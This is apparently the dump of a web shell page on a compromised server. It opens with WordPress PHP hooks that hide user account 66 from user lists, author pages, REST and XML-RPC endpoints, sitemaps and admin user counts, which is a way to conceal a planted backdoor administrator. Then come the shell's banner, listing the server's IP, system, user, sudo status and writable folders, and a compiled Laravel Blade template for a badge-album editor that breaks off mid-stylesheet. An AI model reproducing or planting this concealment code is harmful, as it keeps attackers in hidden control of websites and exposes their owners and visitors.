add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/emaji/storage/framework/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/emaji/storage/framework/views/db64e24bda43ec969ee53d9b18946f2f.php
<?php $__env->startSection('title', 'Edit Album: ' . $album->title); ?>

<?php $__env->startSection('content'); ?>

<div class="bg-white border-bottom py-3">
    <div class="container">
        <div class="d-flex justify-content-between align-items-center">
            <div class="d-flex align-items-center gap-3">
                <a href="<?php echo e(route('admin.badge-albums.index')); ?>" class="text-muted text-decoration-none">
                    &larr;
                </a>
                <div>
                    <h5 class="mb-0"><?php echo e($album->title); ?></h5>
                    <span class="badge bg-<?php echo e($album->status_color); ?> small"><?php echo e(ucfirst($album->status)); ?></span>
                </div>
            </div>
            <div class="d-flex gap-2">
                <button type="button" class="btn btn-sm btn-outline-secondary" id="exportPathwayBtn" title="Export as JSON">
                    <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
                        <path d="M.5 9.9a.5.5 0 0 1 .5.5v2.5a1 1 0 0 0 1 1h12a1 1 0 0 0 1-1v-2.5a.5.5 0 0 1 1 0v2.5a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2v-2.5a.5.5 0 0 1 .5-.5z"/>
                        <path d="M7.646 11.854a.5.5 0 0 0 .708 0l3-3a.5.5 0 0 0-.708-.708L8.5 10.293V1.5a.5.5 0 0 0-1 0v8.793L5.354 8.146a.5.5 0 1 0-.708.708l3 3z"/>
                    </svg>
                    Export
                </button>
                <?php $orgHasBadgau = ($album->organization ?? auth()->user()->activeOrganization())?->hasBadgauIntegration(); ?>
                <?php if($album->osp_pathway_id): ?>
                    <a href="<?php echo e(config('services.openskillpaths.url')); ?>/programs/<?php echo e($album->osp_pathway_id); ?>"
                       target="_blank" rel="noopener"
                       class="btn btn-sm btn-success" title="View on OpenSkillPaths">
                        ✓ Published ↗
                    </a>
                    <?php if($orgHasBadgau): ?>
                        <button type="button" class="btn btn-sm btn-outline-secondary" id="publishPathwayBtn" title="Re-publish to OpenSkillPaths">
                            Re-publish
                        </button>
                    <?php endif; ?>
                <?php elseif($orgHasBadgau): ?>
                    <button type="button" class="btn btn-sm btn-outline-primary" id="publishPathwayBtn" title="Publish to OpenSkillPaths">
                        Publish to OSP
                    </button>
                <?php else: ?>
                    <a href="<?php echo e(route('organization.edit')); ?>" class="btn btn-sm btn-outline-secondary"
                       title="Connect Badgau to publish programs">
                        Connect Badgau to publish
                    </a>
                <?php endif; ?>
                <button type="button" class="btn btn-sm btn-outline-secondary" data-bs-toggle="offcanvas" data-bs-target="#settingsPanel">
                    Settings
                </button>
            </div>
        </div>
    </div>
</div>


<div class="builder-area">
    <div class="container py-4">

        
        <div class="master-badge-section mb-5">
            <div class="text-center mb-4">
                <p class="text-muted small text-uppercase tracking-wide mb-2">The Goal</p>
                <h3 class="fw-light">
                    Master Badge

                </h3>
            </div>

            <div class="row justify-content-center">
                <div class="col-md-6 col-lg-4">
                    <div class="master-badge-card text-center p-4">
                        <?php if($album->master_badge_title || $album->master_achievement_id): ?>
                            <?php if($album->image_path): ?>
                                <img src="<?php echo e($album->image_path); ?>" alt="<?php echo e($album->master_badge_title); ?>" class="master-badge-image mb-3">
                            <?php else: ?>
                                <div class="master-badge-icon mb-3">&#127942;</div>
                            <?php endif; ?>
                            <h5 class="mb-2"><?php echo e($album->master_badge_title ?: 'Untitled Badge'); ?></h5>
                            <?php if($album->master_achievement_id): ?>
                                <code class="small text-muted d-block text-truncate"><?php echo e($album->master_achievement_id); ?></code>
                            <?php endif; ?>
                            <button type="button"
                                    class="btn btn-sm btn-outline-secondary mt-3"
                                    data-bs-toggle="modal"
                                    data-bs-target="#masterBadgeModal">
                                Edit Master Badge
                            </button>
                        <?php else: ?>
                            <div class="master-badge-icon empty mb-3">&#127942;</div>
                            <p class="text-muted mb-3">Define the badge earned upon completion</p>
                            <button type="button"
                                    class="btn btn-primary"
                                    data-bs-toggle="modal"
                                    data-bs-target="#masterBadgeModal">
                                Set Master Badge
                            </button>
                        <?php endif; ?>
                    </div>
                </div>
            </div>
        </div>

        
        <div class="required-badges-section">
            <?php
                $hasSections = $album->sections->count() > 0;
                $hasSlots = $album->sections->flatMap->slots->count() > 0;
            ?>

            
            <?php if($hasSlots): ?>
                <div class="pathway-mode-toggle">
                    <button type="button"
                            class="pathway-mode-btn <?php echo e($album->is_sequential ? 'active' : ''); ?>"
                            id="sequentialToggle"
                            data-sequential="<?php echo e($album->is_sequential ? '1' : '0'); ?>">
                        <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16" class="me-1">
                            <path fill-rule="evenodd" d="M1 2.5A1.5 1.5 0 0 1 2.5 1h3A1.5 1.5 0 0 1 7 2.5v3A1.5 1.5 0 0 1 5.5 7h-3A1.5 1.5 0 0 1 1 5.5v-3zM2.5 2a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 1h3A1.5 1.5 0 0 1 15 2.5v3A1.5 1.5 0 0 1 13.5 7h-3A1.5 1.5 0 0 1 9 5.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zM1 10.5A1.5 1.5 0 0 1 2.5 9h3A1.5 1.5 0 0 1 7 10.5v3A1.5 1.5 0 0 1 5.5 15h-3A1.5 1.5 0 0 1 1 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3zm6.5.5A1.5 1.5 0 0 1 10.5 9h3a1.5 1.5 0 0 1 1.5 1.5v3a1.5 1.5 0 0 1-1.5 1.5h-3A1.5 1.5 0 0 1 9 13.5v-3zm1.5-.5a.5.5 0 0 0-.5.5v3a.5.5 0 0 0 .5.5h3a.5.5 0 0 0 .5-.5v-3a.5.5 0 0 0-.5-.5h-3z"/>
                        </svg>
                        <span class="mode-text"><?php echo e($album->is_sequential ? 'Complete in order' : 'Any order'); ?></span>
                        <svg width="12" height="12" fill="currentColor" viewBox="0 0 16 16" class="mode-chevron ms-1">
                            <path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z"/>
                        </svg>
                    </button>
                    <div class="pathway-mode-dropdown" id="pathwayModeDropdown">
                        <div class="mode-option <?php echo e(!$album->is_sequential ? 'active' : ''); ?>" data-sequential="0">
                            <strong>Any order</strong>
                            <span class="mode-description">Complete sections in any order</span>
                        </div>
                        <div class="mode-option <?php echo e($album->is_sequential ? 'active' : ''); ?>" data-sequential="1">
                            <strong>Complete in order</strong>
                            <span class="mode-description">Sections must be completed sequentially</span>
                        </div>
                    </div>
                </div>
            <?php endif; ?>

            <?php if($hasSlots): ?>
                <?php
                    $firstSectionWithSlots = $album->sections->first(fn($s) => $s->slots->count() > 0);
                ?>
                
                <div class="curved-connector-container master-connector"
                     data-to-section="<?php echo e($firstSectionWithSlots->id); ?>"
                     data-to-count="<?php echo e($firstSectionWithSlots->slots->count()); ?>">
                    <svg class="curved-connector-svg" preserveAspectRatio="none">
                        
                    </svg>
                </div>

                
                <?php $__currentLoopData = $album->sections; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $sectionIndex => $section): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                    <?php if($section->slots->count() > 0): ?>
                        <?php $slotCount = $section->slots->count(); ?>

                        
                        <?php if($slotCount >= 2): ?>
                            <div class="section-rule-indicator" data-section-id="<?php echo e($section->id); ?>">
                                <button type="button"
                                        class="rule-dropdown-toggle"
                                        data-section-id="<?php echo e($section->id); ?>"
                                        data-slot-count="<?php echo e($slotCount); ?>"
                                        data-rule-type="<?php echo e($section->rule_type); ?>"
                                        data-rule-count="<?php echo e($section->rule_count ?? 1); ?>">
                                    <?php if($section->rule_type === 'all'): ?>
                                        <span class="rule-text">Require all <?php echo e($slotCount); ?></span>
                                    <?php elseif($section->rule_type === 'one_of'): ?>
                                        <span class="rule-text">Require any 1</span>
                                    <?php elseif($section->rule_type === 'n_of_m'): ?>
                                        <span class="rule-text">Require any <?php echo e($section->rule_count ?? 1); ?> of <?php echo e($slotCount); ?></span>
                                    <?php endif; ?>
                                    <svg width="12" height="12" fill="currentColor" viewBox="0 0 16 16" class="rule-chevron">
                                        <path fill-rule="evenodd" d="M1.646 4.646a.5.5 0 0 1 .708 0L8 10.293l5.646-5.647a.5.5 0 0 1 .708.708l-6 6a.5.5 0 0 1-.708 0l-6-6a.5.5 0 0 1 0-.708z"/>
                                    </svg>
                                </button>
                                <div class="rule-dropdown" id="rule-dropdown-<?php echo e($section->id); ?>">
                                    <div class="rule-option <?php echo e($section->rule_type === 'all' ? 'active' : ''); ?>"
                                         data-rule-type="all"
                                         data-rule-count="">
                                        Require all <?php echo e($slotCount); ?>

                                    </div>
                                    <div class="rule-option <?php echo e($section->rule_type === 'one_of' ? 'active' : ''); ?>"
                                         data-rule-type="one_of"
                                         data-rule-count="">
                                        Require any 1
                                    </div>
                                    <?php if($slotCount > 2): ?>
                                        <?php for($i = 2; $i < $slotCount; $i++): ?>
                                            <div class="rule-option <?php echo e(($section->rule_type === 'n_of_m' && $section->rule_count == $i) ? 'active' : ''); ?>"
                                                 data-rule-type="n_of_m"
                                                 data-rule-count="<?php echo e($i); ?>">
                                                Require any <?php echo e($i); ?> of <?php echo e($slotCount); ?>

                                            </div>
                                        <?php endfor; ?>
                                    <?php endif; ?>
                                </div>
                            </div>
                        <?php endif; ?>

                        <div class="badge-row" data-section-id="<?php echo e($section->id); ?>">
                            
                            <?php $__currentLoopData = $section->slots; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $slotIndex => $slot): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                                <div class="badge-card" data-slot-id="<?php echo e($slot->id); ?>" title="<?php echo e($slot->title); ?><?php echo e($slot->issuer_name ? ' — ' . $slot->issuer_name : ''); ?>">
                                    <div class="badge-card-image">
                                        <img src="<?php echo e($slot->display_image); ?>"
                                             alt="<?php echo e($slot->title); ?>"
                                             onerror="this.src='<?php echo e(\App\Services\BadgeImageResolver::placeholder()); ?>'">
                                    </div>
                                    <div class="badge-card-title"><?php echo e($slot->title); ?></div>
                                    <div class="badge-card-actions">
                                        <button type="button" class="badge-card-action" data-bs-toggle="modal" data-bs-target="#editSlotModal-<?php echo e($slot->id); ?>" title="Edit">
                                            <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16"><path d="M12.146.146a.5.5 0 0 1 .708 0l3 3a.5.5 0 0 1 0 .708l-10 10a.5.5 0 0 1-.168.11l-5 2a.5.5 0 0 1-.65-.65l2-5a.5.5 0 0 1 .11-.168l10-10zM11.207 2.5 13.5 4.793 14.793 3.5 12.5 1.207 11.207 2.5zm1.586 3L10.5 3.207 4 9.707V10h.5a.5.5 0 0 1 .5.5v.5h.5a.5.5 0 0 1 .5.5v.5h.293l6.5-6.5zm-9.761 5.175-.106.106-1.528 3.821 3.821-1.528.106-.106A.5.5 0 0 1 5 12.5V12h-.5a.5.5 0 0 1-.5-.5V11h-.5a.5.5 0 0 1-.468-.325z"/></svg>
                                        </button>
                                        <form method="POST" action="<?php echo e(route('admin.badge-albums.slots.destroy', [$album, $slot])); ?>" class="d-inline" onsubmit="return confirm('Remove this badge?');">
                                            <?php echo csrf_field(); ?>
                                            <?php echo method_field('DELETE'); ?>
                                            <button type="submit" class="badge-card-action text-danger" title="Remove">
                                                <svg width="14" height="14" fill="currentColor" viewBox="0 0 16 16"><path d="M5.5 5.5A.5.5 0 0 1 6 6v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm2.5 0a.5.5 0 0 1 .5.5v6a.5.5 0 0 1-1 0V6a.5.5 0 0 1 .5-.5zm3 .5a.5.5 0 0 0-1 0v6a.5.5 0 0 0 1 0V6z"/><path fill-rule="evenodd" d="M14.5 3a1 1 0 0 1-1 1H13v9a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V4h-.5a1 1 0 0 1-1-1V2a1 1 0 0 1 1-1H6a1 1 0 0 1 1-1h2a1 1 0 0 1 1 1h3.5a1 1 0 0 1 1 1v1zM4.118 4 4 4.059V13a1 1 0 0 0 1 1h6a1 1 0 0 0 1-1V4.059L11.882 4H4.118zM2.5 3V2h11v1h-11z"/></svg>
                                            </button>
                                        </form>
                                    </div>
                                </div>

                                
                                <?php if($slotIndex < $slotCount - 1): ?>
                                    <span class="badge-or-connector">or</span>
                                <?php endif; ?>
                            <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

                            
                            <button type="button"
                                    class="add-badge-inline open-badge-picker-direct"
                                    data-section-id="<?php echo e($section->id); ?>"
                                    data-default-optional="1"
                                    title="Add alternative badge">
                                <span>+</span>
                            </button>
                        </div>

                        
                        <?php $__currentLoopData = $section->slots; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $slot): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
                            <?php echo $__env->make('admin.badge-albums._slot-modal', ['section' => $section, 'slot' => $slot, 'mode' => 'edit'], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>
                        <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>

                        
                        <?php
                            $hasMoreSectionsWithSlots = $album->sections->slice($loop->index + 1)->contains(fn($s) => $s->slots->count() > 0);
                            $nextSectionWithSlots = $hasMoreSectionsWithSlots
                                ? $album->sections->slice($loop->index + 1)->first(fn($s) => $s->slots->count() > 0)
                                : null;
                        ?>
                        <?php if($hasMoreSectionsWithSlots && $nextSectionWithSlots): ?>
                            <div class="curved-connector-container"
                                 data-from-section="<?php echo e($section->id); ?>"
                                 data-to-section="<?php echo e($nextSectionWithSlots->id); ?>"
                                 data-from-count="<?php echo e($slotCount); ?>"
                                 data-to-count="<?php echo e($nextSectionWithSlots->slots->count()); ?>">
                                <svg class="curved-connector-svg" preserveAspectRatio="none">
                                    
                                </svg>
                                <button type="button"
                                        class="connector-add-btn open-badge-picker-insert"
                                        data-after-section-id="<?php echo e($section->id); ?>"
                                        title="Insert badge here">+</button>
                            </div>
                        <?php endif; ?>
                    <?php endif; ?>
                <?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
            <?php endif; ?>

            
            <div class="connector-down add-section-connector">
                <div class="connector-line"></div>
                <button type="button"
                        class="add-badge-center open-badge-picker-new-section"
                        title="Add required badge">
                    <span>+</span>
                </button>
            </div>
        </div>

        
        <form id="quickAddBadgeForm" method="POST" action="" style="display: none;">
            <?php echo csrf_field(); ?>
            <input type="hidden" name="achievement_id" id="quick-achievement-id">
            <input type="hidden" name="title" id="quick-title">
            <input type="hidden" name="image_url" id="quick-image-url">
            <input type="hidden" name="is_optional" id="quick-is-optional" value="0">
        </form>

        
        <form id="quickAddSectionForm" method="POST" action="<?php echo e(route('admin.badge-albums.sections.store', $album)); ?>" style="display: none;">
            <?php echo csrf_field(); ?>
            <input type="hidden" name="title" id="quick-section-title" value="Required Badges">
            <input type="hidden" name="rule_type" value="all">
            
            <input type="hidden" name="first_badge_achievement_id" id="quick-first-badge-achievement-id">
            <input type="hidden" name="first_badge_title" id="quick-first-badge-title">
            <input type="hidden" name="first_badge_image_url" id="quick-first-badge-image-url">
        </form>

    </div>
</div>


<div class="offcanvas offcanvas-end" tabindex="-1" id="settingsPanel">
    <div class="offcanvas-header">
        <h5 class="offcanvas-title">Album Settings</h5>
        <button type="button" class="btn-close" data-bs-dismiss="offcanvas"></button>
    </div>
    <div class="offcanvas-body">
        <form method="POST" action="<?php echo e(route('admin.badge-albums.update', $album)); ?>">
            <?php echo csrf_field(); ?>
            <?php echo method_field('PUT'); ?>

            <div class="mb-3">
                <label for="title" class="form-label">Album Title</label>
                <input type="text" name="title" id="title" class="form-control"
                       value="<?php echo e(old('title', $album->title)); ?>" required>
            </div>

            <div class="mb-3">
                <label for="description" class="form-label">Description</label>
                <textarea name="description" id="description" class="form-control"
                          rows="3"><?php echo e(old('description', $album->description)); ?></textarea>
            </div>

            <div class="mb-3">
                <label for="status" class="form-label">Status</label>
                <select name="status" id="status" class="form-select">
                    <option value="draft" <?php echo e($album->status === 'draft' ? 'selected' : ''); ?>>Draft</option>
                    <option value="active" <?php echo e($album->status === 'active' ? 'selected' : ''); ?>>Active</option>
                    <option value="archived" <?php echo e($album->status === 'archived' ? 'selected' : ''); ?>>Archived</option>
                </select>
            </div>

            <hr class="my-4">
            <h6 class="text-muted mb-3">Program Branding</h6>
            <p class="text-muted small mb-3">
                Inherited from your <a href="<?php echo e(route('organization.edit')); ?>">organisation settings</a>. Override per pathway if needed.
            </p>

            <?php $org = $album->organization ?? auth()->user()->activeOrganization(); ?>

            <div class="mb-3">
                <label for="brand_logo_url" class="form-label">Logo URL</label>
                <input type="url" name="brand_logo_url" id="brand_logo_url" class="form-control"
                       value="<?php echo e(old('brand_logo_url', $album->brand_logo_url)); ?>"
                       placeholder="<?php echo e($org->logo ?? 'inherited from organisation'); ?>">
                <?php if($album->brand_logo_url || $org->logo): ?>
                    <img src="<?php echo e($album->brand_logo_url ?? $org->logo); ?>" alt="Logo preview"
                         class="mt-2" style="max-height: 40px; max-width: 120px; object-fit: contain;">
                <?php endif; ?>
                <?php if(!$album->brand_logo_url && $org->logo): ?>
                    <div class="form-text text-muted">Using organisation logo. Enter a URL to override.</div>
                <?php endif; ?>
            </div>

            <div class="mb-3">
                <label for="brand_color_album" class="form-label">Brand Colour</label>
                <div class="input-group" style="max-width: 220px;">
                    <input type="color" name="brand_color" id="brand_color_album"
                           class="form-control form-control-color"
                           value="<?php echo e(old('brand_color', $album->brand_color ?? $org->brand_color ?? '#0d6efd')); ?>">
                    <input type="text" class="form-control" id="brand_color_album_text"
                           value="<?php echo e(old('brand_color', $album->brand_color ?? $org->brand_color ?? '#0d6efd')); ?>"
                           placeholder="#0d6efd" maxlength="7">
                </div>
                <?php if(!$album->brand_color && $org->brand_color): ?>
                    <div class="form-text text-muted">Using organisation colour. Change to override.</div>
                <?php endif; ?>
            </div>

            <button type="submit" class="btn btn-primary w-100">Save Settings</button>
        </form>

        <hr class="my-4">

        <form method="POST" action="<?php echo e(route('admin.badge-albums.destroy', $album)); ?>"
              onsubmit="return confirm('Delete this album permanently?');">
            <?php echo csrf_field(); ?>
            <?php echo method_field('DELETE'); ?>
            <button type="submit" class="btn btn-outline-danger w-100">Delete Album</button>
        </form>
    </div>
</div>


<div class="modal fade" id="masterBadgeModal" tabindex="-1">
    <div class="modal-dialog">
        <div class="modal-content">
            <form method="POST" action="<?php echo e(route('admin.badge-albums.update', $album)); ?>">
                <?php echo csrf_field(); ?>
                <?php echo method_field('PUT'); ?>
                <input type="hidden" name="title" value="<?php echo e($album->title); ?>">

                <div class="modal-header">
                    <h5 class="modal-title">Master Badge</h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                </div>

                <div class="modal-body">
                    <p class="text-muted mb-4">
                        This is the badge awarded when someone completes all required sections.
                    </p>

                    
                    <div class="badge-preview mb-4 text-center" id="preview-master">
                        <img src="<?php echo e($album->image_path ?? \App\Services\BadgeImageResolver::placeholder()); ?>"
                             alt="Master badge preview"
                             class="badge-preview-image <?php echo e($album->image_path ? '' : 'placeholder'); ?>"
                             id="preview-img-master">
                        <div class="badge-preview-status" id="preview-status-master"></div>
                        <div class="mt-2">
                            <button type="button"
                                    class="btn btn-sm btn-outline-primary open-badge-picker"
                                    data-achievement-input="master_achievement_id"
                                    data-title-input="master_badge_title"
                                    data-preview-img="preview-img-master"
                                    data-preview-status="preview-status-master"
                                    data-image-input="master_image_url">
                                Browse Badges
                            </button>
                        </div>
                        
                        <input type="hidden" name="master_image_url" id="master_image_url" value="<?php echo e($album->image_path ?? ''); ?>">
                    </div>

                    
                    <input type="hidden" name="master_achievement_id" id="master_achievement_id"
                           value="<?php echo e(old('master_achievement_id', $album->master_achievement_id)); ?>">
                    <input type="hidden" name="master_badge_title" id="master_badge_title"
                           value="<?php echo e(old('master_badge_title', $album->master_badge_title)); ?>">

                    <?php if($album->master_badge_title): ?>
                        <p class="text-center mb-0"><strong><?php echo e($album->master_badge_title); ?></strong></p>
                        <?php if($album->master_achievement_id): ?>
                            <p class="text-center"><code class="small text-muted"><?php echo e($album->master_achievement_id); ?></code></p>
                        <?php endif; ?>
                    <?php endif; ?>
                </div>

                <div class="modal-footer">
                    <button type="button" class="btn btn-outline-secondary" data-bs-dismiss="modal">Cancel</button>
                    <button type="submit" class="btn btn-primary">Save Master Badge</button>
                </div>
            </form>
        </div>
    </div>
</div>


<?php echo $__env->make('admin.badge-albums._section-modal', ['section' => null, 'mode' => 'create'], array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>


<?php echo $__env->make('admin.badge-albums._badge-picker-modal', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?>

<style>
.builder-area {
    background: #f8f9fa;
    min-height: calc(100vh - 120px);
}

.tracking-wide {
    letter-spacing: 0.05em;
}

/* Master Badge Section */
.master-badge-section {
    padding-top: 2rem;
}

.master-badge-card {
    background: white;
    border-radius: 16px;
    box-shadow: 0 2px 12px rgba(0,0,0,0.08);
}

.master-badge-icon {
    font-size: 4rem;
    line-height: 1;
}

.master-badge-icon.empty {
    opacity: 0.3;
    filter: grayscale(100%);
}

.master-badge-image {
    width: 100px;
    height: 100px;
    object-fit: contain;
}

/* Option 4: Sequential badge next to Master Badge title */
.sequential-badge {
    display: inline-flex;
    align-items: center;
    vertical-align: middle;
    padding: 0.25rem 0.625rem;
    background: #e7f1ff;
    border-radius: 12px;
    font-size: 0.6875rem;
    font-weight: 500;
    color: #0d6efd;
    margin-left: 0.5rem;
}

/* Connector */
.connector-line {
    width: 2px;
    height: 40px;
    background: #dee2e6;
    margin: 0 auto;
}

.connector-label {
    display: inline-block;
    background: #f8f9fa;
    padding: 0.25rem 1rem;
    color: #6c757d;
    font-size: 0.875rem;
    border-radius: 20px;
    margin-top: -10px;
    position: relative;
}

/* Required Badges Section */
.empty-state {
    background: white;
    border-radius: 16px;
    box-shadow: 0 2px 12px rgba(0,0,0,0.08);
}

.empty-icon {
    font-size: 3rem;
    opacity: 0.5;
}

/* Section Cards */
.section-card {
    background: white;
    border-radius: 12px;
    box-shadow: 0 2px 8px rgba(0,0,0,0.06);
    overflow: hidden;
}

.section-header {
    display: flex;
    justify-content: space-between;
    align-items: center;
    padding: 1rem 1.25rem;
    background: #fafbfc;
    border-bottom: 1px solid #eee;
}

.section-number {
    width: 28px;
    height: 28px;
    background: #6c757d;
    color: white;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 0.875rem;
    font-weight: 600;
}

.section-actions {
    display: flex;
    gap: 0.5rem;
}

.section-body {
    padding: 1.25rem;
}

.empty-slots {
    background: #f8f9fa;
    border-radius: 8px;
}

/* Badge Grid */
.badge-grid {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(140px, 1fr));
    gap: 1rem;
}

.badge-slot {
    background: #fafbfc;
    border: 2px solid #e9ecef;
    border-radius: 12px;
    padding: 1rem;
    text-align: center;
    transition: all 0.2s;
}

.badge-slot:hover {
    border-color: #dee2e6;
    box-shadow: 0 2px 8px rgba(0,0,0,0.06);
}

.badge-slot.optional {
    border-style: dashed;
    background: white;
}

.badge-slot .badge-image {
    width: 64px;
    height: 64px;
    object-fit: contain;
    margin-bottom: 0.5rem;
}

.badge-slot .badge-image.placeholder {
    opacity: 0.4;
    filter: grayscale(100%);
}

.badge-slot .badge-info {
    margin-bottom: 0.5rem;
}

.badge-slot .badge-info strong {
    display: block;
    font-size: 0.8125rem;
    line-height: 1.3;
}

.badge-slot .optional-tag {
    display: inline-block;
    font-size: 0.6875rem;
    color: #17a2b8;
    background: rgba(23, 162, 184, 0.1);
    padding: 0.125rem 0.5rem;
    border-radius: 10px;
    margin-top: 0.25rem;
}

.badge-slot .badge-actions {
    display: flex;
    justify-content: center;
    gap: 0.25rem;
}

.badge-slot .badge-actions .btn {
    padding: 0.125rem 0.5rem;
    font-size: 0.75rem;
}

/* Add Badge Slot */
.badge-slot.add-slot {
    border: 2px dashed #ced4da;
    background: transparent;
    cursor: pointer;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    min-height: 140px;
    color: #6c757d;
}

.badge-slot.add-slot:hover {
    border-color: #0d6efd;
    color: #0d6efd;
    background: rgba(13, 110, 253, 0.02);
}

.badge-slot.add-slot .add-icon {
    font-size: 2rem;
    line-height: 1;
    margin-bottom: 0.25rem;
}

.badge-slot.add-slot .add-text {
    font-size: 0.8125rem;
}

/* (badge-row and connector styles in Visual Connectors section below) */

/* Inline + button (add to same row/section) */
.add-badge-inline {
    width: 36px;
    height: 36px;
    border: 2px dashed #ced4da;
    border-radius: 50%;
    background: transparent;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 1.25rem;
    color: #6c757d;
    cursor: pointer;
    transition: all 0.2s;
    flex-shrink: 0;
}

.add-badge-inline:hover {
    border-color: #0d6efd;
    color: #0d6efd;
    background: rgba(13, 110, 253, 0.05);
}

/* Below + button (add new section) */
.add-badge-below {
    width: 48px;
    height: 48px;
    border: 2px dashed #ced4da;
    border-radius: 50%;
    background: transparent;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 1.25rem;
    color: #6c757d;
    cursor: pointer;
    transition: all 0.2s;
}

.add-badge-below:hover {
    border-color: #0d6efd;
    color: #0d6efd;
    background: rgba(13, 110, 253, 0.05);
}

.badge-card {
    background: #f8f9fa;
    border: 2px solid transparent;
    border-radius: 12px;
    padding: 1rem;
    text-align: center;
    transition: all 0.2s;
    position: relative;
    min-width: 180px;
    max-width: 180px;
    flex-shrink: 0;
}

.badge-card:hover {
    background: #fff;
    box-shadow: 0 2px 8px rgba(0,0,0,0.1);
}

.badge-card-image {
    position: relative;
    margin-bottom: 0.5rem;
}

.badge-card-image img {
    width: 64px;
    height: 64px;
    object-fit: contain;
}

.badge-card-tag {
    position: absolute;
    top: -4px;
    right: -4px;
    font-size: 0.625rem;
    background: #17a2b8;
    color: white;
    padding: 0.125rem 0.375rem;
    border-radius: 8px;
}

.badge-card-title {
    font-size: 0.75rem;
